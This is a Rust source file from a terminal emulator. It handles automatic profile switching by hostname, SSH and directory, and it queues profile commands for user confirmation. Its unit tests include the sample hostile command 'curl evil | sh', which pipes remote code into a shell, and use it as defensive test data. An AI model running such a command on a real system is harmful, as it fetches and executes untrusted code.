1use par_term_config::ProfileId;
22use par_term_emu_core_rust::terminal::ActionResult;
23
24use super::super::window_state::WindowState;
25
26const PROFILE_COMMAND_ID_TAG: u64 = 1 << 63;
32
33fn profile_command_action_id(profile_id: &ProfileId, command_line: &str) -> u64 {
39 use std::hash::{Hash, Hasher};
40
41 let mut hasher = std::collections::hash_map::DefaultHasher::new();
42 profile_id.hash(&mut hasher);
43 command_line.hash(&mut hasher);
44 hasher.finish() | PROFILE_COMMAND_ID_TAG
45}
46
47fn profile_command_line(command: Option<&str>, args: Option<&[String]>) -> Option<String> {
51 let command = command?.trim();
52 if command.is_empty() {
53 return None;
54 }
55
56 let mut line = command.to_string();
57 for arg in args.unwrap_or_default() {
58 line.push(' ');
59 line.push_str(arg);
60 }
61 line.push('\n');
62 Some(line)
63}
64
65fn profile_command_pre_approved(remote_origin: bool, session_approved: bool) -> bool {
72 !remote_origin && session_approved
73}
74
75impl WindowState {
76 pub fn check_auto_profile_switch(&mut self) -> bool {
84 if self.overlay_ui.profile_manager.is_empty() {
85 return false;
86 }
87
88 let mut changed = false;
89
90 changed |= self.check_auto_hostname_switch();
92
93 if !changed {
95 changed |= self.check_ssh_command_switch();
96 }
97
98 changed |= self.check_auto_directory_switch();
100
101 changed
102 }
103
104 pub(super) fn check_auto_hostname_switch(&mut self) -> bool {
106 let tab = match self.tab_manager.active_tab_mut() {
107 Some(t) => t,
108 None => return false,
109 };
110
111 let new_hostname = match tab.check_hostname_change() {
112 Some(h) => h,
113 None => {
114 if tab.detected_hostname.is_none() && tab.profile.auto_applied_profile_id.is_some()
115 {
116 crate::debug_info!(
117 "PROFILE",
118 "Clearing auto-applied hostname profile (returned to localhost)"
119 );
120 tab.profile.auto_applied_profile_id = None;
121 tab.profile.profile_icon = None;
122 tab.profile.badge_override = None;
123 if let Some(original) = tab.profile.pre_profile_title.take() {
125 tab.set_title(&original);
126 }
127
128 if tab.profile.ssh_auto_switched {
130 crate::debug_info!(
131 "PROFILE",
132 "Reverting SSH auto-switch (disconnected from remote host)"
133 );
134 tab.profile.ssh_auto_switched = false;
135 tab.profile.pre_ssh_switch_profile = None;
136 }
137 }
138 return false;
139 }
140 };
141
142 if !self.config.load().ssh.ssh_auto_profile_switch {
148 crate::debug_log!(
149 "PROFILE",
150 "Hostname auto-switch disabled by config (ssh_auto_profile_switch=false)"
151 );
152 return false;
153 }
154
155 if let Some(existing_profile_id) = tab.profile.auto_applied_profile_id
157 && let Some(profile) = self
158 .overlay_ui
159 .profile_manager
160 .find_by_hostname(&new_hostname)
161 && profile.id == existing_profile_id
162 {
163 return false;
164 }
165
166 if let Some(profile) = self
167 .overlay_ui
168 .profile_manager
169 .find_by_hostname(&new_hostname)
170 {
171 let profile_name = profile.name.clone();
172 let profile_id = profile.id;
173 let profile_tab_name = profile.tab_name.clone();
174 let profile_icon = profile.icon.clone();
175 let profile_badge_text = profile.badge_text.clone();
176 let profile_command = profile.command.clone();
177 let profile_command_args = profile.command_args.clone();
178 let profile_is_remote = profile.source.is_dynamic();
179
180 crate::debug_info!(
181 "PROFILE",
182 "Auto-switching to profile '{}' for hostname '{}'",
183 profile_name,
184 new_hostname
185 );
186
187 if let Some(tab) = self.tab_manager.active_tab_mut() {
189 if !tab.profile.ssh_auto_switched {
191 tab.profile.pre_ssh_switch_profile = tab.profile.auto_applied_profile_id;
192 tab.profile.ssh_auto_switched = true;
193 }
194
195 tab.profile.auto_applied_profile_id = Some(profile_id);
196 tab.profile.profile_icon = profile_icon;
197
198 if tab.profile.pre_profile_title.is_none() {
200 tab.profile.pre_profile_title = Some(tab.title.clone());
201 }
202 tab.set_title(&profile_tab_name.unwrap_or_else(|| profile_name.clone()));
204
205 if let Some(badge_text) = profile_badge_text {
207 tab.profile.badge_override = Some(badge_text);
208 }
209 }
210
211 self.dispatch_profile_command(
213 profile_id,
214 &profile_name,
215 profile_command.as_deref(),
216 profile_command_args.as_deref(),
217 profile_is_remote,
218 &format!("hostname '{}'", new_hostname),
219 );
220
221 self.apply_profile_badge(
223 &self
224 .overlay_ui
225 .profile_manager
226 .get(&profile_id)
227 .expect("profile_id obtained from profile_manager.find_by_name above")
228 .clone(),
229 );
230
231 log::info!(
232 "Auto-applied profile '{}' for hostname '{}'",
233 profile_name,
234 new_hostname
235 );
236 true
237 } else {
238 crate::debug_info!(
239 "PROFILE",
240 "No profile matches hostname '{}' - consider creating one",
241 new_hostname
242 );
243 false
244 }
245 }
246
247 pub(super) fn check_ssh_command_switch(&mut self) -> bool {
253 let (current_command, already_switched, has_hostname_profile) = {
255 let tab = match self.tab_manager.active_tab() {
256 Some(t) => t,
257 None => return false,
258 };
259
260 let cmd = if let Ok(term) = tab.terminal.try_read() {
264 term.get_running_command_name()
265 } else {
266 None
267 };
268
269 (
270 cmd,
271 tab.profile.ssh_auto_switched,
272 tab.profile.auto_applied_profile_id.is_some(),
273 )
274 };
275
276 let is_ssh = current_command
277 .as_ref()
278 .is_some_and(|cmd| cmd == "ssh" || cmd.ends_with("/ssh"));
279
280 if is_ssh && !already_switched && !has_hostname_profile {
281 if let Some(tab) = self.tab_manager.active_tab_mut() {
286 crate::debug_info!(
287 "PROFILE",
288 "SSH command detected - waiting for hostname via OSC 7"
289 );
290 tab.profile.ssh_auto_switched = true;
293 }
294 false
295 } else if !is_ssh && already_switched && !has_hostname_profile {
296 if let Some(tab) = self.tab_manager.active_tab_mut() {
298 crate::debug_info!("PROFILE", "SSH command ended - reverting auto-switch state");
299 tab.profile.ssh_auto_switched = false;
300 let _prev_profile = tab.profile.pre_ssh_switch_profile.take();
301 tab.profile.profile_icon = None;
303 tab.profile.badge_override = None;
304 if let Some(original) = tab.profile.pre_profile_title.take() {
305 tab.set_title(&original);
306 }
307 }
308 true } else {
310 false
311 }
312 }
313
314 pub(super) fn check_auto_directory_switch(&mut self) -> bool {
316 let tab = match self.tab_manager.active_tab_mut() {
317 Some(t) => t,
318 None => return false,
319 };
320
321 if tab.profile.auto_applied_profile_id.is_some() {
323 return false;
324 }
325
326 let new_cwd = match tab.check_cwd_change() {
327 Some(c) => c,
328 None => return false,
329 };
330
331 if let Some(existing_profile_id) = tab.profile.auto_applied_dir_profile_id
333 && let Some(profile) = self.overlay_ui.profile_manager.find_by_directory(&new_cwd)
334 && profile.id == existing_profile_id
335 {
336 return false;
337 }
338
339 if let Some(profile) = self.overlay_ui.profile_manager.find_by_directory(&new_cwd) {
340 let profile_name = profile.name.clone();
341 let profile_id = profile.id;
342 let profile_tab_name = profile.tab_name.clone();
343 let profile_icon = profile.icon.clone();
344 let profile_badge_text = profile.badge_text.clone();
345 let profile_command = profile.command.clone();
346 let profile_command_args = profile.command_args.clone();
347 let profile_is_remote = profile.source.is_dynamic();
348
349 crate::debug_info!(
350 "PROFILE",
351 "Auto-switching to profile '{}' for directory '{}'",
352 profile_name,
353 new_cwd
354 );
355
356 if let Some(tab) = self.tab_manager.active_tab_mut() {
358 tab.profile.auto_applied_dir_profile_id = Some(profile_id);
359 tab.profile.profile_icon = profile_icon;
360
361 if tab.profile.pre_profile_title.is_none() {
363 tab.profile.pre_profile_title = Some(tab.title.clone());
364 }
365 tab.set_title(&profile_tab_name.unwrap_or_else(|| profile_name.clone()));
367
368 if let Some(badge_text) = profile_badge_text {
370 tab.profile.badge_override = Some(badge_text);
371 }
372 }
373
374 self.dispatch_profile_command(
376 profile_id,
377 &profile_name,
378 profile_command.as_deref(),
379 profile_command_args.as_deref(),
380 profile_is_remote,
381 &format!("directory '{}'", new_cwd),
382 );
383
384 self.apply_profile_badge(
386 &self
387 .overlay_ui
388 .profile_manager
389 .get(&profile_id)
390 .expect("profile_id obtained from profile_manager.find_by_name above")
391 .clone(),
392 );
393
394 log::info!(
395 "Auto-applied profile '{}' for directory '{}'",
396 profile_name,
397 new_cwd
398 );
399 true
400 } else {
401 if let Some(tab) = self.tab_manager.active_tab_mut()
403 && tab.profile.auto_applied_dir_profile_id.is_some()
404 {
405 crate::debug_info!(
406 "PROFILE",
407 "Clearing auto-applied directory profile (CWD '{}' no longer matches)",
408 new_cwd
409 );
410 tab.profile.auto_applied_dir_profile_id = None;
411 tab.profile.profile_icon = None;
412 tab.profile.badge_override = None;
413 if let Some(original) = tab.profile.pre_profile_title.take() {
415 tab.set_title(&original);
416 }
417 }
418 false
419 }
420 }
421
422 pub(crate) fn dispatch_profile_command(
433 &mut self,
434 profile_id: ProfileId,
435 profile_name: &str,
436 command: Option<&str>,
437 command_args: Option<&[String]>,
438 remote_origin: bool,
439 match_reason: &str,
440 ) {
441 let Some(command_line) = profile_command_line(command, command_args) else {
442 return;
443 };
444
445 let action_id = profile_command_action_id(&profile_id, &command_line);
446 let session_approved = self
447 .trigger_state
448 .always_allow_trigger_ids
449 .contains(&action_id);
450
451 let action = ActionResult::SendText {
452 trigger_id: action_id,
453 text: command_line.clone(),
454 delay_ms: 0,
455 };
456
457 if profile_command_pre_approved(remote_origin, session_approved) {
458 self.trigger_state.approved_pending_actions.push(action);
459 return;
460 }
461
462 if self
464 .trigger_state
465 .pending_trigger_actions
466 .iter()
467 .any(|pending| pending.trigger_id == action_id)
468 {
469 return;
470 }
471
472 let displayed = command_line.trim_end();
473 crate::debug_info!(
474 "PROFILE",
475 "AUDIT profile command queued for confirmation profile='{}' remote={} command={:?}",
476 profile_name,
477 remote_origin,
478 displayed
479 );
480
481 let origin_note = if remote_origin {
482 "\nThis profile was fetched from a remote profile source."
483 } else {
484 ""
485 };
486 self.trigger_state.automation_action_notes.insert(
491 action_id,
492 "Automatic profile switching queued this, not an output trigger. \
493 Approving runs the command shown above in this shell."
494 .to_string(),
495 );
496 self.trigger_state.pending_trigger_actions.push(
497 crate::app::window_state::PendingTriggerAction {
498 trigger_id: action_id,
499 trigger_name: format!("Profile auto-switch: {}", profile_name),
500 action,
501 description: format!(
502 "Matched {}.{}\nRun in this shell: {}",
503 match_reason, origin_note, displayed
504 ),
505 target: None,
508 },
509 );
510 }
511}
512
513#[cfg(test)]
514mod tests {
515 use super::{
516 PROFILE_COMMAND_ID_TAG, profile_command_action_id, profile_command_line,
517 profile_command_pre_approved,
518 };
519
520 fn id() -> par_term_config::ProfileId {
521 uuid::Uuid::nil()
522 }
523
524 #[test]
525 fn command_line_is_none_without_a_command() {
526 assert_eq!(profile_command_line(None, None), None);
527 assert_eq!(profile_command_line(Some(" "), None), None);
528 }
529
530 #[test]
531 fn command_line_appends_args_and_newline() {
532 assert_eq!(
533 profile_command_line(
534 Some("tmux"),
535 Some(&["attach".to_string(), "-t".to_string()])
536 ),
537 Some("tmux attach -t\n".to_string())
538 );
539 assert_eq!(
540 profile_command_line(Some("htop"), None),
541 Some("htop\n".to_string())
542 );
543 }
544
545 #[test]
546 fn action_ids_never_collide_with_real_trigger_ids() {
547 for command in ["a\n", "curl evil | sh\n", ""] {
550 let action_id = profile_command_action_id(&id(), command);
551 assert_ne!(action_id & PROFILE_COMMAND_ID_TAG, 0);
552 assert!(action_id > u64::from(u32::MAX));
553 }
554 }
555
556 #[test]
557 fn action_id_is_stable_and_command_bound() {
558 let a = profile_command_action_id(&id(), "echo hi\n");
559 assert_eq!(a, profile_command_action_id(&id(), "echo hi\n"));
560 assert_ne!(a, profile_command_action_id(&id(), "curl evil | sh\n"));
561 assert_ne!(
562 a,
563 profile_command_action_id(&uuid::Uuid::from_u128(1), "echo hi\n")
564 );
565 }
566
567 #[test]
568 fn remote_profile_command_always_requires_confirmation() {
569 assert!(!profile_command_pre_approved(true, true));
573 assert!(!profile_command_pre_approved(true, false));
574 }
575
576 #[test]
577 fn local_profile_command_honours_an_earlier_always_allow() {
578 assert!(profile_command_pre_approved(false, true));
579 assert!(!profile_command_pre_approved(false, false));
580 }
581}